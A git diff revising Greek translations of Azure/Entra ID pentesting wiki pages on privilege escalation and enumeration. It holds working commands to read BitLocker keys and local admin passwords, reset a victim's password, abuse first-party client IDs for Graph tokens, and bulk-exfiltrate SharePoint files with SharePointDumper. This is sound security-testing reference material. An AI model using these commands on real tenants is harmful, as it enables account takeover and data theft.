επιτρέπει την τροποποίηση των ιδιοτήτων του χρήστη. Είναι συνηθισμένο να υπάρχουν δυναμικές ομάδες που προσθέτουν χρήστες βάσει των τιμών ιδιοτήτων, επομένως αυτή η άδεια θα μπορούσε να επιτρέψει σε έναν χρήστη να ορίσει την απαραίτητη τιμή ιδιότητας ώστε να γίνει μέλος μιας συγκεκριμένης δυναμικής ομάδας και να αποκτήσει αυξημένα προνόμια. ```bash #e.g. change manager of a user victimUser="" @@ -248,9 +353,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Πολιτικές Προσβασιμότητας με Όρους & Παράκαμψη MFA +## Conditional Access Policies & MFA bypass -Λανθασμένα ρυθμισμένες πολιτικές προσβασιμότητας με όρους που απαιτούν MFA θα μπορούσαν να παρακαμφθούν, ελέγξτε: +Λανθασμένα διαμορφωμένες conditional access policies που απαιτούν MFA μπορούν να παρακαμφθούν. Έλεγξε: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Αυτή η άδεια επιτρέπει στους επιτιθέμενους να αυτοδιορίζονται ως κάτοχοι συσκευών για να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα συγκεκριμένα για τη συσκευή. +Αυτό το δικαίωμα επιτρέπει σε επιτιθέμενους να αναθέσουν στον εαυτό τους την ιδιότητα owners σε συσκευές, ώστε να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα ειδικά για τη συσκευή. ```bash deviceId="" userId="" @@ -271,7 +376,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Αυτή η άδεια επιτρέπει στους επιτιθέμενους να συσχετίσουν τον λογαριασμό τους με συσκευές για να αποκτήσουν πρόσβαση ή να παρακάμψουν πολιτικές ασφαλείας. +Αυτή η άδεια επιτρέπει σε attackers να συσχετίσουν τον λογαριασμό τους με συσκευές ώστε να αποκτήσουν πρόσβαση ή να παρακάμψουν πολιτικές ασφαλείας. ```bash deviceId="" userId="" @@ -282,7 +387,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Αυτή η άδεια επιτρέπει στους επιτιθέμενους να διαβάσουν τις ιδιότητες των αποθηκευμένων διαπιστευτηρίων του τοπικού διαχειριστή για συσκευές που είναι συνδεδεμένες με το Microsoft Entra, συμπεριλαμβανομένου του κωδικού πρόσβασης. +Αυτό το δικαίωμα επιτρέπει σε attackers να διαβάσουν τις ιδιότητες των εφεδρικών local administrator account credentials για συσκευές που έχουν ενωθεί στο Microsoft Entra, συμπεριλαμβανομένου του password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -297,7 +402,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Αυτή η άδεια επιτρέπει την πρόσβαση σε κλειδιά BitLocker, τα οποία θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να αποκρυπτογραφήσει δίσκους, θέτοντας σε κίνδυνο την εμπιστευτικότητα των δεδομένων. +Αυτή η άδεια επιτρέπει την πρόσβαση σε BitLocker keys, κάτι που μπορεί να επιτρέψει σε έναν attacker να αποκρυπτογραφήσει δίσκους, θέτοντας σε κίνδυνο την εμπιστευτικότητα των δεδομένων. ```bash # List recovery keys az rest --method GET \ @@ -308,7 +413,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Άλλες Ενδιαφέρουσες άδειες (TODO) +## Άλλες ενδιαφέρουσες permissions (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 102ca8785..f963482d4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,11 +4,11 @@ ## Βασικές Πληροφορίες -Το Azure Active Directory (Azure AD) είναι η cloud υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και πρόσβασης. Βοηθά τους εργαζόμενους να συνδεθούν και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός του οργανισμού, συμπεριλαμβανομένου του Microsoft 365, του Azure portal και πλήθους άλλων εφαρμογών SaaS. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτότητας, κυρίως συμπεριλαμβάνοντας **authentication, authorization, and user management**. +Το Azure Active Directory (Azure AD) είναι η cloud υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και πρόσβασης. Επιτρέπει στους εργαζόμενους να συνδέονται και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός του οργανισμού, όπως τα Microsoft 365, το Azure portal και πολλές άλλες εφαρμογές SaaS. Ο σχεδιασμός του Azure AD εστιάζει στην παροχή βασικών υπηρεσιών ταυτοποίησης, κυρίως συμπεριλαμβάνοντας **authentication, authorization, and user management**. -Κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτά τα χαρακτηριστικά ενισχύουν σημαντικά την ασφάλεια των ταυτοτήτων χρηστών και επιτρέπουν στους οργανισμούς να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασής τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος cloud υπηρεσιών της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση των ταυτοτήτων χρηστών στο cloud. +Σημαντικά χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτές οι δυνατότητες ενισχύουν σημαντικά την ασφάλεια των ταυτοτήτων χρηστών και επιτρέπουν στους οργανισμούς να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος cloud υπηρεσιών της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση των ταυτοτήτων χρηστών στο cloud. -## Απαρίθμηση +## Καταγραφή ### **Σύνδεση** @@ -185,9 +185,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Όταν **συνδεθείτε** μέσω **CLI** στο **Azure** με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Azure Application** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Applications, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. Δεν θα μπορείτε να δείτε όλες αυτές στις **λίστες επιτρεπόμενων εφαρμογών** που βλέπετε στην κονσόλα, **αλλά επιτρέπονται εξ ορισμού**. +Όταν κάνετε **login** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Azure Application** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Applications, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να τα δείτε όλα** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά επιτρέπονται από προεπιλογή**. -Για παράδειγμα ένα **powershell script** που **authenticates** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα κι αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει εκείνη την εφαρμογή** ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της App. +Για παράδειγμα, ένα **powershell script** που **authenticates** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα κι αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει αυτήν την εφαρμογή** έτσι ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της App. Ωστόσο, υπάρχουν **άλλα client-ids** εφαρμογών που **θα σας επιτρέψουν να συνδεθείτε στο Azure**: ```bash @@ -214,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential ` -Verbose -Debug ` -InformationAction Continue ``` -### Μισθωτές +### Ενοικιαστές {{#tabs }} {{#tab name="az cli" }} @@ -227,7 +227,7 @@ az account tenant list ### Χρήστες -Για περισσότερες πληροφορίες σχετικά με τους χρήστες Entra ID, δείτε: +Για περισσότερες πληροφορίες σχετικά με τους χρήστες του Entra ID, δείτε: {{#ref}} ../az-basic-information/ @@ -358,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtab }} {{#endtabs }} -#### Αλλαγή Κωδικού Χρήστη +#### Αλλαγή κωδικού χρήστη ```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Conditional Access Policies +### MFA & Conditional Access Πολιτικές -Συνιστάται έντονα να προσθέσετε MFA σε κάθε χρήστη· ωστόσο, μερικές εταιρείες δεν θα το ενεργοποιήσουν ή μπορεί να το ρυθμίσουν μέσω Conditional Access: ο χρήστης θα **απαιτείται MFA εάν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια συνθήκη**. Αυτές οι πολιτικές, αν δεν διαμορφωθούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Έλεγχος: +Συνιστάται ανεπιφύλακτα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο ορισμένες εταιρείες δεν το ενεργοποιούν ή μπορεί να το ρυθμίσουν με Conditional Access: θα **απαιτείται MFA αν** ο χρήστης συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια συνθήκη**. Αυτές οι πολιτικές, αν δεν διαμορφωθούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ### Ομάδες -Για περισσότερες πληροφορίες σχετικά με τις ομάδες Entra ID δείτε: +Για περισσότερες πληροφορίες σχετικά με Entra ID groups δείτε: {{#ref}} ../az-basic-information/ @@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### Προσθήκη χρήστη σε ομάδα -Οι ιδιοκτήτες της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα +Οι κάτοχοι της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα. ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Οι ομάδες μπορούν να είναι δυναμικές, που βασικά σημαίνει ότι **αν ένας χρήστης πληροί ορισμένες προϋποθέσεις θα προστεθεί σε μια ομάδα**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **χαρακτηριστικά** που ένας **χρήστης** μπορεί να **ελέγξει**, θα μπορούσε να καταχραστεί αυτό το χαρακτηριστικό για να **μπει σε άλλες ομάδες**.\ -> Δείτε πώς να καταχραστείτε τις δυναμικές ομάδες στην παρακάτω σελίδα: +> Οι ομάδες μπορούν να είναι δυναμικές, που σημαίνει ουσιαστικά ότι **εάν ένας χρήστης πληροί ορισμένες προϋποθέσεις θα προστεθεί σε μια ομάδα**. Φυσικά, εάν οι προϋποθέσεις βασίζονται σε **χαρακτηριστικά** που ένας **χρήστης** μπορεί να **ελέγξει**, θα μπορούσε να καταχραστεί αυτή τη δυνατότητα για να **μπει σε άλλες ομάδες**.\ +> Δείτε πώς να καταχραστείτε δυναμικές ομάδες στην ακόλουθη σελίδα: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -Για περισσότερες πληροφορίες σχετικά με Entra ID service principals δείτε: +Για περισσότερες πληροφορίες σχετικά με τα Entra ID service principals, δείτε: {{#ref}} ../az-basic-information/ @@ -598,7 +598,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Ο Owner ενός Service Principal μπορεί να αλλάξει το password του. +> Ο Owner ενός Service Principal μπορεί να αλλάξει τον κωδικό του.
@@ -715,10 +715,10 @@ Write-Output "Failed to Enumerate the Applications." ../az-basic-information/ {{#endref}} -Όταν δημιουργείται μια App δίνονται 2 τύποι δικαιωμάτων: +Όταν δημιουργείται μια εφαρμογή δίνονται 2 τύποι δικαιωμάτων: -- **Permissions** που δίνονται στο **Service Principal** -- **Permissions** που η **app** μπορεί να έχει και να χρησιμοποιεί εκ μέρους του χρήστη. +- **Δικαιώματα** που δίνονται στον **Service Principal** +- **Δικαιώματα** που μπορεί να έχει η **app** και να χρησιμοποιεί εκ μέρους του **χρήστη** {{#tabs }} {{#tab name="az cli" }} @@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` +
+Βρες όλες τις εφαρμογές με δικαιώματα API προς μη-Microsoft APIs (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ {{#endtab }} {{#tab name="Az" }} @@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Μια εφαρμογή με την άδεια **`AppRoleAssignment.ReadWrite`** μπορεί να **αναβαθμιστεί σε Global Admin** χορηγώντας στον εαυτό της τον ρόλο.\ +> Μια εφαρμογή με το δικαίωμα **`AppRoleAssignment.ReadWrite`** μπορεί να **αναβαθμιστεί σε Global Admin** χορηγώντας στον εαυτό της αυτόν τον ρόλο.\ > Για περισσότερες πληροφορίες [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Μια μυστική συμβολοσειρά που η εφαρμογή χρησιμοποιεί για να αποδείξει την ταυτότητά της όταν αιτείται ένα token είναι το application password.\ -> Άρα, αν βρείτε αυτό το **password** μπορείτε να έχετε πρόσβαση ως το **service principal** **μέσα** στο **tenant**.\ -> Σημειώστε ότι αυτό το password είναι μόνο ορατό όταν δημιουργείται (μπορείτε να το αλλάξετε αλλά δεν μπορείτε να το ανακτήσετε ξανά).\ -> Ο **owner** της **application** μπορεί να **add a password** σε αυτήν (ώστε να μπορεί να την προσποιηθεί).\ -> Οι logins ως αυτούς τους service principals **δεν σημειώνονται ως επικίνδυνες** και **δεν θα έχουν MFA.** +> Μια μυστική συμβολοσειρά που η εφαρμογή χρησιμοποιεί για να αποδείξει την ταυτότητά της όταν ζητά ένα token είναι το application password.\ +> Οπότε, αν βρείτε αυτό το **password** μπορείτε να αποκτήσετε πρόσβαση ως το **service principal** **μέσα** στον **tenant**.\ +> Σημειώστε ότι αυτό το password είναι ορατό μόνο κατά τη δημιουργία του (μπορείτε να το αλλάξετε αλλά δεν μπορείτε να το ανακτήσετε).\ +> Ο **owner** της **application** μπορεί να **προσθέσει ένα password** σε αυτή (ώστε να μπορεί να την προσποιηθεί).\ +> Οι συνδέσεις ως αυτά τα service principals **δεν επισημαίνονται ως risky** και **δεν θα έχουν MFA.** -Είναι δυνατό να βρείτε μια λίστα με κοινώς χρησιμοποιούμενα App IDs που ανήκουν στη Microsoft στο [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +Είναι δυνατό να βρείτε μια λίστα με συνήθως χρησιμοποιούμενα App IDs που ανήκουν στη Microsoft στο [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -Για περισσότερες πληροφορίες σχετικά με Managed Identities δείτε: +For more information about Managed Identities check: {{#ref}} ../az-basic-information/ @@ -850,9 +925,9 @@ az identity list --output table {{#endtab }} {{#endtabs }} -### Azure Ρόλοι +### Ρόλοι του Azure -Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure δείτε: +Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure, δείτε: {{#ref}} ../az-basic-information/ @@ -937,9 +1012,9 @@ Headers = @{ {{#endtab }} {{#endtabs }} -### Entra ID Ρόλοι +### Ρόλοι Entra ID -Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure δείτε: +Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure, δείτε: {{#ref}} ../az-basic-information/ @@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Αν μια συσκευή (VM) είναι **AzureAD joined**, οι χρήστες από το AzureAD θα μπορούν να **συνδεθούν**.\ -> Επιπλέον, αν ο συνδεδεμένος χρήστης είναι **Owner** της συσκευής, θα είναι **local admin**. +> Εάν μια συσκευή (VM) είναι **AzureAD joined**, χρήστες από το AzureAD θα μπορούν να **συνδεθούν**.\ +> Επιπλέον, εάν ο συνδεδεμένος χρήστης είναι **Owner** της συσκευής, θα είναι **τοπικός διαχειριστής**. ### Διοικητικές Μονάδες @@ -1100,14 +1175,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Microsoft Graph delegated εξαγωγή δεδομένων SharePoint (SharePointDumper) +## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) -Οι επιτιθέμενοι με ένα **delegated Microsoft Graph token** που περιλαμβάνει **`Sites.Read.All`** ή **`Sites.ReadWrite.All`** μπορούν να απαριθμήσουν **sites/drives/items** μέσω του Graph και στη συνέχεια να τραβήξουν τα περιεχόμενα αρχείων μέσω **SharePoint pre-authentication download URLs** (χρονικά περιορισμένα URLs που ενσωματώνουν ένα access token). Το [SharePointDumper](https://github.com/zh54321/SharePointDumper) script αυτοματοποιεί όλη τη ροή (enumeration → pre-auth downloads) και εξάγει τηλεμετρία ανά αίτημα για δοκιμές ανίχνευσης. +Οι επιτιθέμενοι με ένα **delegated Microsoft Graph token** που περιλαμβάνει **`Sites.Read.All`** ή **`Sites.ReadWrite.All`** μπορούν να απαριθμήσουν **sites/drives/items** μέσω του Graph και στη συνέχεια να **τραβήξουν τα περιεχόμενα αρχείων** μέσω **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Το [SharePointDumper](https://github.com/zh54321/SharePointDumper) script αυτοματοποιεί ολόκληρη τη ροή (enumeration → pre-auth downloads) και εκπέμπει per-request telemetry για testing ανίχνευσης. ### Obtaining usable delegated tokens -- Το SharePointDumper από μόνο του **δεν αυθεντικοποιείται**· δώστε ένα access token (προαιρετικά refresh token). -- Προ-συγκατενεμένοι **first-party clients** μπορούν να καταχραστούν για να εκδώσουν ένα Graph token χωρίς καταχώρηση εφαρμογής. Παράδειγμα κλήσεων `Invoke-Auth` (από [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): +- Το SharePointDumper καθεαυτό **does not authenticate**· παρέχετε ένα access token (προαιρετικά refresh token). +- Τα pre-consented **first-party clients** μπορούν να καταχραστούν για να δημιουργήσουν ένα Graph token χωρίς να εγγράψουν app. Παράδειγμα κλήσεων `Invoke-Auth` (από [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 @@ -1120,32 +1195,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] -> Οι πελάτες FOCI TRUE υποστηρίζουν refresh σε διαφορετικές συσκευές; οι πελάτες FOCI FALSE συχνά απαιτούν `-Origin` για να ικανοποιηθεί η επικύρωση προέλευσης του reply URL. +> Οι πελάτες FOCI TRUE υποστηρίζουν ανανέωση σε πολλές συσκευές; οι πελάτες FOCI FALSE συχνά απαιτούν `-Origin` για να ικανοποιηθεί ο έλεγχος προέλευσης του reply URL. ### Εκτέλεση SharePointDumper για enumeration + exfiltration -- Βασικό dump με προσαρμοσμένο UA / proxy / throttling: +- Βασικό dump με custom UA / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` -- Έλεγχος εύρους: συμπερίληψη/εξαίρεση ιστότοπων ή επεκτάσεων και παγκόσμια όρια: +- Έλεγχος εύρους: συμπερίληψη/αποκλεισμός τοποθεσιών ή επεκτάσεων και παγκόσμια όρια: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **Συνέχιση** διακοπείσων εκτελέσεων (επαναεντοπίζει αλλά παραλείπει τα ήδη ληφθέντα αντικείμενα): +- **Συνέχιση** διακοπείσων εκτελέσεων (επανα-απαριθμεί αλλά παραλείπει ήδη ληφθέντα στοιχεία): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **Αυτόματη ανανέωση token σε HTTP 401** (απαιτεί EntraTokenAid φορτωμένο): +- **Αυτόματη ανανέωση token σε HTTP 401** (απαιτεί το EntraTokenAid να είναι φορτωμένο): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` -Σημειώσεις λειτουργίας: +Λειτουργικές σημειώσεις: -- Προτιμά **CAE-enabled** tokens για να αποφευχθεί η λήξη στη μέση της εκτέλεσης· προσπάθειες ανανέωσης **δεν** καταγράφονται στο API log του εργαλείου. -- Δημιουργεί αρχεία καταγραφής αιτήσεων **CSV/JSON** για **Graph + SharePoint** και μασκάρει ενσωματωμένα SharePoint download tokens από προεπιλογή (προσαρμόσιμο). -- Υποστηρίζει **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, και **Ctrl+C-safe shutdown** για διαμόρφωση κίνησης κατά τη διάρκεια δοκιμών ανίχνευσης/IR. +- Προτιμά **CAE-enabled** tokens για να αποφευχθεί η λήξη κατά τη διάρκεια της εκτέλεσης· οι προσπάθειες ανανέωσης **δεν** καταγράφονται στο tool’s API log. +- Δημιουργεί **CSV/JSON request logs** για **Graph + SharePoint** και αποκρύπτει ενσωματωμένα SharePoint download tokens από προεπιλογή (με δυνατότητα εναλλαγής). +- Υποστηρίζει **προσαρμοσμένο User-Agent**, **HTTP proxy**, **καθυστέρηση ανά αίτημα + jitter**, και **Ctrl+C-safe shutdown** για διαμόρφωση κυκλοφορίας κατά τη διάρκεια δοκιμών detection/IR. ## Entra ID Privilege Escalation @@ -1163,16 +1238,16 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1 ### Privileged Identity Management (PIM) -Το Privileged Identity Management (PIM) στο Azure βοηθάει να **αποτραπεί η ανάθεση υπερβολικών δικαιωμάτων** σε χρήστες χωρίς λόγο. +Privileged Identity Management (PIM) in Azure βοηθά στο να αποφεύγεται η εκχώρηση υπερβολικών προνομίων σε χρήστες χωρίς λόγο. -Μία από τις βασικές λειτουργίες του PIM είναι ότι επιτρέπει να μην ανατίθενται ρόλοι σε principals που είναι συνεχώς ενεργοί, αλλά να τους κάνει **επιλέξιμους για ένα χρονικό διάστημα (π.χ. 6 μήνες)**. Όταν ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να υποβάλει αίτηση αναφέροντας το χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **admin πρέπει να εγκρίνει** το αίτημα.\ -Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επεκτείνει** το χρόνο. +Ένα από τα κύρια χαρακτηριστικά που παρέχει το PIM είναι ότι επιτρέπει να μην εκχωρούνται ρόλοι σε principals που είναι συνεχώς ενεργοί, αλλά να τους καθιστά **eligible για μια περίοδο (π.χ. 6 μήνες)**. Όταν ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να το ζητήσει υποδεικνύοντας το χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **admin πρέπει να εγκρίνει** το αίτημα.\ +Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επιμηκύνει** τον χρόνο. -Επιπλέον, το **PIM στέλνει email** κάθε φορά που ένας προνομιούχος ρόλος ανατίθεται σε κάποιον. +Επιπλέον, το **PIM στέλνει emails** όποτε ένας προνομιακός ρόλος εκχωρείται σε κάποιον.
